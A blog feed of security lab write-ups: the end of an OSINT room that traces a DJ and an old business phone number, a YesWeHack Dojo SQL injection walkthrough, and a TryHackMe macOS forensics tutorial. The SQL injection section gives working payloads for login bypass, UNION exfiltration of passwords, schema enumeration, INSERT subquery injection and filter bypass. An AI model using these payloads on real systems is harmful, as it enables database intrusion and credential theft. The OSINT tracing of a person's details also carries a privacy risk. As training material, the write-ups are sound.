This was a bit of a tricky question, I looked around for the DJ alot. At first, I thought it would be the naked_feelthevibe who had commented on the event post, but it seems he's not a local DJ. I had not paid attention to the fact that the event poster had a list of djs but eventually went back to the announcement and found it.

Here's the DJ set:

What is the name of the cave?

to find this had to search for a cave near Surfersbar lombok

What is the phone number linked to his old business?
Format: Full number, no country code.

Thing to keep in mind, they're interested in the phone number linked to his old business so the first doesn't pass

Scrolling through the second search results, we find a phone number linked to bongleleh and the cave.

Conclusion

This room was a solid end-to-end OSINT exercise. Starting from just two images and a short message, we were able to reconstruct an entire timeline — the event, the restaurant, the after-party bar, the DJ, a cave visit, and even an old business phone number.

Key Takeaways:

exiftool is your first stop on any image — timestamps and GPS data are often embedded and overlooked
Reverse image search is surprisingly powerful for geolocating food, venues, and landmarks
When a lead goes cold, re-read the original message carefully — the distinction between a "bar" and a "beach club" was the pivot point for finding the after-party location
Event posters and social media announcements often contain the most direct answers; don't overlook them while chasing indirect clues
Old business listings and cached pages can surface phone numbers long after the business has changed

OSINT is a reminder that the digital footprint we leave — through photo metadata, social media comments, tagged locations, and business registrations — can be traced by anyone with the right methodology. From a privacy standpoint, stripping metadata before sharing photos and auditing your public social presence are practical first steps.

SQL Injection - CWE 89 (YesWeHack Dojo)

Jebitok — Sat, 14 Mar 2026 14:41:08 GMT

Introduction

SQL injection has been on the OWASP Top 10 for years — not because developers don't know about it, but because unsanitized user input keeps finding its way into database queries. CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) covers this entire class of vulnerabilities, ranging from simple login bypasses to full database enumeration.

I worked through the YesWeHack Dojo SQL Injection module to build hands-on intuition for how these attacks actually work — not just the theory, but reading how queries transform under injection, adapting when filters push back, and understanding what the database exposes when you ask the right questions.

This writeup covers 5 challenges: login bypass, data exfiltration, schema enumeration, INSERT injection, and filter bypass.

SQL Injection

SQL Injection is an exploit technique used by an attacker to alter the queries made to an SQL database. This can be used to fetch or modify the content of a database. SQL injection are found when an user supplied value is used incorectly in an SQL query. While SQLi are mostly found in web application, they can also be found I any other app using SQL.

Example

Imagine the following php code for a simple admin login.

We can see that an user supplied pass is injected directly inside the query. This really bad practice make your code vulnerable to SQL injection attack.

This is what the actual query look like after the variable substitution:

Now let's look at what happend when we tried to inject some malicious SQL.

Regular request

SELECT username FROM users WHERE username = 'admin' AND password = 'hunter2';

password: hunter2

Inject malicious SQL

SELECT username FROM users WHERE username = 'admin' AND password = 'admin' OR 'a'='a';

password: admin' OR 'a'='a

When the $pass is set to **admin' OR 'a'='a**the meaning of query change, this is an injection. Here the attacker completly bypass the password check because of the extra OR true at the end.

But this is not the only thing an attacker can do in this scenario, by using the union feature of SQL it is possible to extract anything from the database.

Inject UNION

SELECT username FROM users WHERE username = 'admin' AND password = '' UNION SELECT password FROM users WHERE username='admin';

password: ' UNION SELECT password FROM users WHERE username='admin

This time, instead of only fetching the username, the query will also return the password of the admin.

' UNION SELECT password FROM users WHERE email='admin@user.com

Challenges

Simple login Bypass

password: admin' OR 'a'='a

-- return
SELECT 
  (`password` = 'admin' OR 'a'='a') is_valid_password
FROM users 
WHERE username = 'admin' 
LIMIT 1;

First exfiltration

Time to recover some data

Bypassing a password check is nice, but being able to read arbitrary data is better.

Try to get the admin password.

Goal: recover the admin password

-- return
SELECT 
  username, email
FROM users 
WHERE email LIKE '%%' 
LIMIT 10;

SELECT username FROM users WHERE username = 'admin' AND password = '' UNION SELECT password FROM users WHERE username='admin';

' UNION SELECT email FROM users WHERE username='admin - wrong

Correct

SELECT username, email FROM users 
WHERE email LIKE '%' UNION SELECT password, username FROM users WHERE username='admin'-- %' LIMIT 10;

email=' UNION SELECT password, username FROM users WHERE username='admin'--

No LIMIT

Limiting the query

This query should give us the any password, but the limit 0 prevent it.

Can you bypass it ?

Goal: recover the admin password

SELECT password FROM users WHERE username = '' LIMIT 0;

correct

NAME: admin’--

SELECT password FROM users WHERE username = 'admin'--' LIMIT 0;

Exploration

Spelunking the internals

Now that you are able to recover any data, try to explore the database.

There is an hidden table containing a flag, can you find where it is ?

Goal: recover the flag from the hidden table.

SELECT email FROM users WHERE username = '' LIMIT 1;

I tried:

NAME: ' UNION SELECT email FROM users WHERE username='admin

OUTPUT: [{"email":"admin@localhost"}]

NAME: ' UNION SELECT password FROM users WHERE username='admin

OUTPUT: [{"email":"admin"}]

NAME: admin'—

OUTPUT: [{"email":"admin@localhost"}]

hints:

First you need to know which SQL backend the server is using. You can use some database specific function or error message to guess it.
Here the backend is Sqlite. Where is the database schema stored ?
UNION can be used to get data from any table.

NAME: ' UNION SELECT name FROM sqlite_master WHERE type='table'--

OUTPUT: 

[{"email":"H!dd3n_t4bl3"},
{"email":"users"}]

NAME: ' UNION SELECT sql FROM sqlite_master WHERE name='H!dd3n_t4bl3'--

OUTPUT: [{"email":"CREATE TABLE H!dd3n_t4bl3 (\\n flag text\\n)"}]

last step:

NAME: ' UNION SELECT flag FROM 'H!dd3n_t4bl3'--

OUTPUT: [{"email":"FLAG{56zq8kiwtstw3ethxk55z}"}]

Injection in INSERT

Inserting payloads

Sometimes the injection can occur in an INSERT statement.

Goal: recover the admin password.

-- run
INSERT INTO maillinglist(email, enabled) VALUES ('', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;

MAIL: admin' OR 'a'='a’

OUTPUT:

Parse error near line 16: unrecognized token: "'a'', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;"
  illinglist(email, enabled) VALUES ('admin' OR 'a'='a'', TRUE);  SELECT    emai
                                      error here ---^

MAIL: 'admin' OR 'a'='a’

OUTPUT:

Parse error near line 16: near "admin": syntax error
  NSERT INTO maillinglist(email, enabled) VALUES (''admin' OR 'a'='a'', TRUE);
                                      error here ---^
[{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":0},
{"email":"Leonel.Zieme1@yahoo.com","enabled":1},
{"email":"Andreane49@hotmail.com","enabled":0},
{"email":"Mose.Cruickshank-Cassin69@gmail.com","enabled":0}]

MAIL: admin

OUTPUT:

[{"email":"admin","enabled":1},
{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":1},
{"email":"Leonel.Zieme1@yahoo.com","enabled":1},
{"email":"Andreane49@hotmail.com","enabled":1}]

hints

Can you set enabled to something else ?
Have you heard of nested queries ?

correct:

MAIL: '||(SELECT password FROM users WHERE username='admin')||’

OUTPUT:

[{"email":"FLAG{y06azxph2hi2574ez5937vj}","enabled":1},
{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":0},
{"email":"Leonel.Zieme1@yahoo.com","enabled":0},
{"email":"Andreane49@hotmail.com","enabled":0}]

-- run
INSERT INTO maillinglist(email, enabled) VALUES (''||(SELECT password FROM users WHERE username='admin')||'', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;

Filter bypass

Some filter away from SQL injection

Here your input is heavily transformed before being injected into the query. While this make the exploitation more difficult, this shouldn't stop you.

Goal: recover the admin password

Spaces are not the only word separator in SQL.
The password filter is broken; you should be able to bypass it.

SELECT 
  `username`, `email`
FROM `users`
WHERE `email` = '@company.name'
LIMIT 5;

USER: ' admin

OUTPUT:

Parse error near line 10: near "@company": syntax error
  me`, `email` FROM `users` WHERE `email` = ''.admin@company.name' LIMIT 5;
                                      error here ---^

correct

USER: '/**/UNION/**/SELECT/**/passpasswordword,username/**/FROM/**/users/**/WHERE/**/username='admin'--

[{"username":"FLAG{wsnyirm6tg6num849unzf}","email":"admin"}]

SELECT 
  `username`, `email`
FROM `users`
WHERE `email` = ''/**/union/**/select/**/password,username/**/from/**/users/**/where/**/username='admin'--@company.name'
LIMIT 5;

Across these 5 challenges, a clear pattern emerged: SQL injection is less about memorizing payloads and more about reading how the application transforms your input and working backwards from there.

The filter bypass challenge drove this home hardest. Seeing password silently stripped from the query and reconstructing it as passwpasswordord is the same mental model you'd use against a WAF in the real world: observe the transformation, then craft input that survives it intact.

Key takeaways:

UNION-based injection requires matching column counts. Always check the original SELECT first
SQLite exposes its full schema through sqlite_master knowing your backend matters
Subqueries inside INSERT via || concatenation are a reminder that injection surfaces go beyond WHERE clauses
Blacklist filters are fragile a single-pass keyword removal is trivially bypassed with nested keywords or comment-based space alternatives

From a defensive standpoint, all of these vulnerabilities share one root cause: user input being concatenated directly into SQL queries. The fix is consistent use of parameterized queries / prepared statements; no amount of input sanitization or filtering is as reliable.

References:

macOS Forensics: Artefacts (TryHackMe)

Jebitok — Sat, 14 Mar 2026 14:04:11 GMT

This writeup covers a macOS Forensics: Artefacts challenge on TryHackMe involving the analysis of a 25GB disk image from a macOS 15.1.1 (Sequoia) system. The investigation required extracting user activity artifacts, system configuration details, and evidence of external device connections from an APFS-formatted disk image.

The challenge demonstrated practical macOS forensic analysis using tools like mac_apt for artifact extraction, SQLite for querying APFS metadata databases, and APOLLO for pattern-of-life analysis. Questions ranged from determining OS installation dates and network configurations to tracking terminal command history and identifying recently accessed directories.

Tools Used

mac_apt - macOS artifact parsing framework (v1.12.0.dev)
SQLite/DB Browser - Querying APFS volume databases
APOLLO - macOS pattern-of-life forensic tool
Python - Custom scripts for timestamp conversion and data extraction
grep/find - Log analysis and file searching

Introduction

In the macOS Forensics: The Basics room, we learned some basics of macOS forensics and the challenges we might face when performing forensics on macOS. Now that we have this knowledge, we need to know what forensic artefacts are present in macOS and what value we can derive from them.

Learning Objectives

The different forensic artefacts present in macOS.
Where to find these artefacts?
How can these artefacts aid in a forensic investigation?

Prerequisites

Before starting this room, it is highly recommended that the following room is completed:

macOS Forensics: The Basics

Furthermore, this room requires an advanced knowledge of the Linux/Unix command line, so it is recommended to have that knowledge before continuing with this room. Throughout the room, we will discuss accessing the forensic artefacts both on a live system and on a macOS disk image in a Linux system. We will practice accessing and analysing these artefacts from a disk image using an attached Linux VM.

The machine will open in split view. The attached machine is a Linux machine with a macOS disk image named mac-disk.img placed in the home directory. As we learned previously, we will mount this disk image using the apfs-fuse utility and perform analysis on the image.

In the coming tasks, we will explore examples of forensic artefacts extraction on a live system and practice extracting them on an acquired disk image placed in a Linux machine. Please note that the disk image has been obtained from a purpose-built VM, and, as with all forensic investigations, not all artefacts will be present in all machines.

Answer the questions below

What command can be used to mount the image named mac-disk.img to the directory ~/mac in the attached VM, making sure the Data volume is mounted? apfs-fuse -v 4 mac-disk.img ~/mac

Before We Begin

Most artefacts in macOS can be categorised into a few types. These types often require special tools or parsers to extract data. Therefore, we will go over these artefacts in this task so that when we encounter them in the upcoming tasks, we already know what tools and techniques to use to parse them.

Plist Files

Plist or property list files are among the most common artefact types we will find while performing forensics on a macOS device. We also learned about plist files in the macOS Forensics: The Basics room, where we identified that these could be XML or BLOB files. We can read the XML type of plist files using built-in utilities like cat, more, or head. However, we need a specific plist utility to read BLOB files properly. One such utility is present by default in macOS systems, and we can read a BLOB type of plist file with the command plutil -p .plist.

Plutil for Plist Files

umair@Umairs-MacBook-Pro ~ % plutil -p APMExperimentSuiteName.plist 
{
  "APMExperimentFetchSuccessTimestamp" => 1728475253.533066
}

However, if we are analysing data in Linux, we must install plistutil, which works similarly to plutil in macOS. In a Linux system, we can read a BLOB type of plist file using the command plistutil -p .plist. This utility is already installed on the attached VM.

Plistutil for Plist Files

ubuntu@tryhackme:~$ plistutil -p APMExperimentSuiteName.plist 
{
  "APMExperimentFetchSuccessTimestamp" => 1728475253.533066
}

Database Files

Certain forensic artefacts in macOS are saved as database files, such as chat history, browsing history, and application usage. We will need a tool to extract data from these database formats. In this room, we will use DB Browser for SQLite. It is a tool available for Windows, Linux, and macOS systems. In the attached VM, we can start the DB Browser by navigating to Applications > Accessories > DB Browser for SQLite from the top menu.

The following screenshot shows the UI of DB browser, where we have run a query to search for application activity in knowledgeC.db, which we will learn about further in the upcoming tasks. We run a modified form of the query found in this blog.

In addition to DB browser, we will need some information on what to extract from the databases and how to do that. We can use APOLLO to gather databases from the macOS system or parse data from different databases into one database. Various modules of APOLLO can be used to identify the different database queries required to extract data for a specific artefact, and then create a timeline of events using these databases. Both DB Browser and APOLLO are already present in the attached VM for performing analysis. However, we will not extract databases in the attached VM, rather just perform analysis on the individual databases when required.

Running APOLLO

umair@Umairs-MacBook-Pro ~ % python3 apollo.py extract -osql_json -pyolo -vyolo modules tmp_apollo 

--------------------------------------------------------------------------------------
APOLLO Modules Version: 11182020
Action: extract
Platform: yolo
Version: yolo
Output: sql_json
Data Directory: tmp_apollo
Modules Directory: modules
Current Working Directory: /Users/umair/APOLLO
--------------------------------------------------------------------------------------
...Parsing Modules in...modules

==> Parsing 411 modules (Note: Some modules may be run on more than one database.)
	[1] modules/aggregate_dictionary_distributed_keys.txt on ADDataStore.sSQLite DB SQL Query 8,9,10,11,12,13,14
	[2] modules/aggregate_dictionary_scalars.txt on ADDataStore.sqlitedb: SQL Query 8,9,10,11,12,13,14
	[3] modules/call_history.txt on CallHistory.storedata: SQL Query 10.13,10.14,10.15,10.16
	[4] modules/call_history.txt on CallHistory.storedata: SQL Query 8

.
.
.
.

Logs

macOS systems contain multiple types of logs that provide a wealth of forensic information. We will use these logs to extract valuable artefacts in the upcoming tasks. Three types of logs are present in macOS devices.

Apple System Logs (ASL)

The Apple System Logs (ASL) are in the location /private/var/log/asl/. This directory contains multiple types of logs, such as utmp, wtmp, and login details. On a live macOS system, we need to use the Console app to open these logs using the command open -a Console /private/var/log/asl/.asl.

However, we will need a separate parsing tool when analysing data on a Linux or Windows system. We can use mac_apt for this purpose. It is a Python-based tool that takes different artefacts as input (not limited to ASL) and can output them in CSV, JSON, or other formats.

Mac_apt.py

umair@Umairs-MacBook-Pro ~ % python3 mac_apt.py -h                                                                                    
usage: mac_apt.py [-h] [-o OUTPUT_PATH] [-x] [-c] [-t] [-j] [-l LOG_LEVEL] [-p PASSWORD] [-pf PASSWORD_FILE] [-d] input_type input_path plugin [plugin ...]

mac_apt is a framework to process macOS forensic artifacts
You are running macOS Artifact Parsing Tool version 1.12.0.dev (20250110)

Note: The default output is now sqlite, no need to specify it now

positional arguments:
  input_type            Specify Input type as either DD, DMG, E01, VMDK, AFF4, SPARSE, AXIOMZIP or MOUNTED
  input_path            Path to macOS image/volume
  plugin                Plugins to run (space separated). FAST will run most plugins

options:
  -h, --help            show this help message and exit
  -o OUTPUT_PATH, --output_path OUTPUT_PATH
                        Path where output files will be created
  -x, --xlsx            Save output in Excel spreadsheet
  -c, --csv             Save output as CSV files
  -t, --tsv             Save output as TSV files (tab separated)
  -j, --jsonl           Save output as JSONL files
  -l LOG_LEVEL, --log_level LOG_LEVEL
                        Log levels: INFO, DEBUG, WARNING, ERROR, CRITICAL (Default is INFO)
  -p PASSWORD, --password PASSWORD
                        Personal Recovery Key(PRK) or Password for any user (for decrypting encrypted volume).
  -pf PASSWORD_FILE, --password_file PASSWORD_FILE
                        Text file containing Personal Recovery Key(PRK) or Password
  -d, --dont_decrypt    Don't decrypt as image is already decrypted!

The following 48 plugins are available:
    APPLIST             Reads apps & printers installed and/or available for
                        each user from appList.dat
    ARD                 Reads ARD (Apple Remote Desktop) cached databases about
                        app usage
    ASL                 Reads macOS ASL (Apple System Log) from asl.log, asl.db,
                        and ".asl" files.
    AUTOSTART           Retrieves persistent and auto-start programs, daemons,
                        services
    BASICINFO           Gets basic system and OS configuration like SN,
                        timezone, device name, last logged in user, FS info,
                        etc..

.
.
.
.
.
    UTMPX               Read utmpx entries
    WIFI                Gets wifi network information from the
                        com.apple.airport.preferences.plist file
    WIFI_INTELLIGENCE   Gets Wifi connect/disconnect information from Apple
                        Intelligence db
    XPROTECT            Parses XProtect diagnostic files and XProtect Behavior
                        Service database and extract timestamp, signature/rule
                        names, and so on.
    ----------------------------------------------------------------------------
    FAST                Runs all plugins except IDEVICEBACKUPS, SPOTLIGHT, UNIFIEDLOGS
    ALL                 Runs all plugins

Once done, mac_apt will output results in CSV files as well as database files, which we can open using the built-in utilities or the DB browser utility to analyse further. Here, we might notice that mac_apt parses a lot of different types of data that can help us quickly perform analysis covering not just logs but several other artefacts of interest.

System Logs

System Logs are similar to syslog in Linux. They are present in the location /private/var/log/system.log. They are in simple text format and can be read using text editors or utilities such as cat, more, or head. We have to note, however, that the system log is rotated into .gz files. To search all these files, we will have to concatenate them into a single big log file or use the grep utility to read through all these logs.

Zgrep System Log

umair@Umairs-MacBook-Pro ~ % zgrep BOOT_TIME system.log* 
system.log.5.gz:Feb 12 22:05:59 Umairs-MacBook-Pro bootlog[0]: BOOT_TIME 1739383559 185882

Unified Logs

Unified Logs are in the locations /private/var/db/diagnostics/*.tracev3 and /private/var/db/uuidtext. We can use the built-in log utility in macOS to view these logs, use mac_apt to parse the logs, or we can use Mandiant's Unified Logs Parser utility. This utility can be used on a live system or a log archive to convert the logs into CSV or JSON files. The resulting files will be huge, but we can use awk or cat to parse these files and extract the necessary information. We will need to compile this utility from source to be able to use it in the attached VM, or we can use mac_apt to parse the Unified logs and open them in DB browser.

Unified Log Parser

umair@Umairs-MacBook-Pro ~ % ./unifiedlog_parser -h                                           
Starting Unified Log parser...
unifiedlog_parser 0.1.0

USAGE:
    unifiedlog_parser [OPTIONS] --output
        

OPTIONS:
    -h, --help               Print help information
    -i, --input
                Path to logarchive formatted directory [default: ]
    -l, --live
                  Run on live system [default: false]
    -o, --output
              Path to output file. Any directories must already exist
    -V, --version            Print version information

Here, we must note that we have to give the complete name of the output file for the utility to write to it. Otherwise, we will get an error.

On a live system, we can use the following command to view logs for the last minute.

Logs for Last 1 Minute

umair@Umairs-MacBook-Pro ~ % log show --last 1m
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp                       Thread     Type        Activity             PID    TTL  
2025-03-10 15:12:30.771989+0400 0x33ddd    Default     0x0                  657    0    nearbyd: [com.apple.nearbyd:general] #ses-devicepresence,Ignoring weak RSSI -70.000000 on channel 39 for device:
         (device hash: 0x16512e1) because we cannot trust weak RSSI due to a BT FW bug
2025-03-10 15:12:30.783781+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16348
2025-03-10 15:12:30.783784+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16352
2025-03-10 15:12:30.783785+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16356
2025-03-10 15:12:30.783786+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16360
2025-03-10 15:12:30.783787+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16364
.
.
.
.

We might see that the number of logs generated in the last minute is enormous. Therefore, it is necessary to have some way to filter these logs. Apple provides the option of predicate for this purpose. We can use the --predicate flag to tell the log command that we want to filter the logs. Further, we can add the filters in single quotes based on subsystem, category, and message.

Predicate Filtering

umair@Umairs-MacBook-Pro ~ % log show --predicate 'subsystem=="com.apple.sharing" and category=="AirDrop" and eventMessage contains "Discoverable"'
Filtering the log data using "subsystem == "com.apple.sharing" AND category == "AirDrop" AND composedMessage CONTAINS "Discoverable""
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp                       Thread     Type        Activity             PID    TTL  
2025-03-09 16:57:25.609833+0400 0x1d9d     Default     0x0                  694    3    sharingd: [com.apple.sharing:AirDrop] Discoverable mode changed from
         to
          , posting notification
2025-03-09 16:57:37.926188+0400 0x1790     Default     0xf308               711    3    ControlCenter: (Sharing) [com.apple.sharing:AirDrop] Discoverable mode changed to
            
2025-03-09 18:07:58.804412+0400 0x175c     Default     0x0                  669    3    sharingd: [com.apple.sharing:AirDrop] Discoverable mode changed from
               to
                , posting notification
--------------------------------------------------------------------------------------------------------------------
Log      - Default:          3, Info:                0, Debug:             0, Error:          0, Fault:          0
Activity - Create:           0, Transition:          0, Actions:           0

In the coming tasks, we will explore some filters for the log command to reduce artefacts in a macOS system.

Answer the questions below

In the attached VM, which utility can we use to parse plist files? plistutil

System Information

When performing forensics, the best practice is to verify the system Information to ensure we are working on the correct system. In this task, we will start by identifying where we can find different artefacts that help us verify system information.

OS Version

The macOS machine's OS version can be found in a plist file present in the following location:

/System/Library/CoreServices/SystemVersion.plist

The following terminal window shows the contents of this file when we use the cat utility to read it. We must remember that some plist files can be read using the cat utility as they are in XML format; however, some plist files are in binary format, and we will need plutil to read their contents. Please note that we will need to mount the System volume instead of the Data volume to access this data.

OS Version

umair@Umairs-MacBook-Pro ~ % cat /System/Library/CoreServices/SystemVersion.plist




BuildID
2B3829A8-E319-11EF-8892-025514DE0AB1
ProductBuildVersion
24D70
ProductCopyright
1983-2025 Apple Inc.
ProductName
macOS
ProductUserVisibleVersion
15.3.1
ProductVersion
15.3.1
iOSSupportVersion
18.3

Serial Number

The Serial number of a Mac is stored in the location /private/var/folders/*//C/locationd/consolidated.db or /private/var/folders/*//C/locationd/cache_encryptedA.db. We can use DB Browser to access these databases. If we go to the Browse Data tab, and select the TableInfo table, we will see the Serial Number as shown in the screenshot below.

OS Installation Date

Using the stat command on the file /private/var/db/.AppleSetupDone, we can find the date of OS installation and the date of update installation. In the terminal below, the Birth timestamp of the file shows the date when the OS was installed, whereas the Change timestamp shows the date when the latest updates were installed. In a Mac environment, we can find this using the stat -x command, while we can use stat to get the same information in a Linux machine.

OS Installation Date

umair@Umairs-MacBook-Pro ~ % stat -x /private/var/db/.AppleSetupDone
  File: "/private/var/db/.AppleSetupDone"
  Size: 0             FileType: Regular File
  Mode: (0400/-r--------)         Uid: (     0/     root)   Gid: (     0/   wheel)
Device: 1,17   Inode: 270717     Links: 1
Access: Tue Feb 18 21:55:34 2025
Modify: Sat Jul 20 14:43:01 2024
Change: Wed Feb 12 22:06:51 2025
Birth: Sat Jul 20 13:29:58 2024

Another way to find when the OS was installed and updated is by reading the /private/var/db/softwareupdate/journal.plist file. The following terminal shows what the results will look like. We can see the installation date of 20 July 2024, with macOS Sonoma 14.5 installed on this date, followed by an update on 15 August 2024 with macOS Sonoma 14.6.1. This file provides more elaborate details of when the OS was installed and the times when it was updated.

Installation and Update Dates

umair@Umairs-MacBook-Pro ~ % cat /private/var/db/softwareupdate/journal.plist





__isMobileSoftwareUpdate

__isSoftwareUpdate

installDate
2024-07-20T09:52:15Z
productKey
MSU_UPDATE_23F79_patch_14.5_minor
release-notes

title
macOS Sonoma 14.5
version
14.5



__isMobileSoftwareUpdate

__isSoftwareUpdate

installDate
2024-08-15T16:06:23Z
productKey
MSU_UPDATE_23G93_patch_14.6.1_minor
release-notes

title
macOS Sonoma 14.6.1
version
14.6.1

.
.
.
.

Time Zone

The /etc/localtime file contains the time zone information. The following terminal window shows us how we can extract this info.

Current Time Zone

umair@Umairs-MacBook-Pro ~ % ls -la /etc/localtime 
lrwxr-xr-x   1 root   wheel   36 Feb 12 22:07 /etc/localtime -> /var/db/timezone/zoneinfo/Asia/Dubai

As seen in the terminal, this specific machine's time zone is Asia/Dubai. The last modified timestamp of this file shows when the time zone was changed.

Another way to check the of a system is using the /Library/Preferences/.GlobalPreferences.plist file. This file also contains information about historical time zones and languages. However, this file might not have the updated time zone if location services are active.

Time Zone History

umair@Umairs-MacBook-Pro ~ % plutil -p /Library/Preferences/.GlobalPreferences.plist
{
  "AppleLanguages" => [
    0 => "en-AE"
    1 => "ar-AE"
    2 => "ur-AE"
  ]
  "AppleLocale" => "en_AE@calendar=gregorian"
  "AppleTextDirection" => 0
  "com.apple.AppleModemSettingTool.LastCountryCode" => "US"
  "com.apple.preferences.timezone.new.selected_city" => "turw"
  "com.apple.preferences.timezone.selected_city" => {
    "AppleMapID" => "turw"
  }
  "com.apple.TimeZonePref.Last_Selected_City" => [
    0 => "37.31931"
    1 => "-122.0293"
    2 => "0"
    3 => "America/Los_Angeles"
    4 => "US"
    5 => "Cupertino"
    6 => "U.S.A."
    7 => "Cupertino"
    8 => "U.S.A."
    9 => "DEPRECATED IN 10.6"
  ]
  "Country" => "SA"
  "MultipleSessionEnabled" => 1
}

To check if location services are active, we can check the /Library/Preferences/com.apple.timezone.auto.plist file. The following terminal window shows that this machine's time zone auto adjustment is active.

Auto Time Zone Config

umair@Umairs-MacBook-Pro ~ % plutil -p /Library/Preferences/com.apple.timezone.auto.plist
{
  "Active" => 1
}

Boot, Reboot and Shutdown Times

The system log contains information about boot, reboot, and shutdown times. It is located in the location /private/var/log/system.log. We can grep for BOOT_TIME to find the last boot time and SHUTDOWN_TIME to see the last shutdown time. Since the logs are rotated into gz files, we can use zgrep to ensure we are searching inside all historic logs.

Boot and Shutdown Times

umair@Umairs-MacBook-Pro ~ % zgrep BOOT_TIME system.log.* 
Feb 12 22:05:59 Umairs-MacBook-Pro bootlog[0]: BOOT_TIME 1739383559 185882
umair@Umairs-MacBook-Pro % zgrep SHUTDOWN_TIME system.log.* 
Feb 12 22:04:19 Umairs-MacBook-Pro reboot[27104]: SHUTDOWN_TIME: 1739383459 133812

The timestamps of the above logs show the machine's last boot and shutdown times, which are in the machine's local time zone. We can also see an associated Epoch time, which can be converted to find the GMT.

Another place to find data about boot or shutdown times is in the Unified Logs. These logs also contain information about screen lock, unlock, and other login-related information. To view these logs, we can filter the subsystem in the Unified Logs with the term loginwindow, as seen in the screenshot below, taken from the DB Browser app.

The screenshot shows filtered results for the login window, showing several events related to screen lock, Touch ID activation, and WakeFromSleep. Scrolling to the left will also give us timestamps for these events.

We can use the following filters to see similar results using the log command on a live system.

Shutdown Events Using the Log Command

umair@Umairs-MacBook-Pro ~ % log show --info --predicate 'eventMessage contains "com.apple.system.loginwindow" and eventMessage contains "SessionAgentNotificationCenter"' 
Filtering the log data using "composedMessage CONTAINS "com.apple.system.loginwindow" AND composedMessage CONTAINS "SessionAgentNotificationCenter""
Skipping debug messages, pass --debug to include.
Timestamp                       Thread     Type        Activity             PID    TTL  
2025-03-09 16:55:35.489871+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.shutdownInitiated, with object:503
2025-03-09 16:55:35.490273+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.likelyShutdown, with object:503
2025-03-09 16:55:35.490427+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.likelyUserSessionExit, with object:503
2025-03-09 16:55:49.533113+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.logoutNoReturn, with object:503
2025-03-09 16:55:49.533371+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.shutdownNoReturn, with object:0
2025-03-09 16:57:20.117203+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.loginInitiated, with object:503
2025-03-09 16:57:22.012261+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.desktopUp, with object:503
2025-03-09 16:57:32.173045+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.shutdownInitiated, with object:503
2025-03-09 16:57:32.173227+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.likelyShutdown, with object:503
2025-03-09 16:57:32.173344+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.likelyUserSessionExit, with object:503
2025-03-09 16:57:42.051571+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.logoutNoReturn, with object:503
2025-03-09 16:57:42.051821+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.shutdownNoReturn, with object:0
2025-03-09 18:07:54.502899+0400 0xeb1      Default     0x0                  382    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.loginInitiated, with object:503
2025-03-09 18:07:56.426160+0400 0xeb1      Default     0x0                  382    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.desktopUp, with object:503
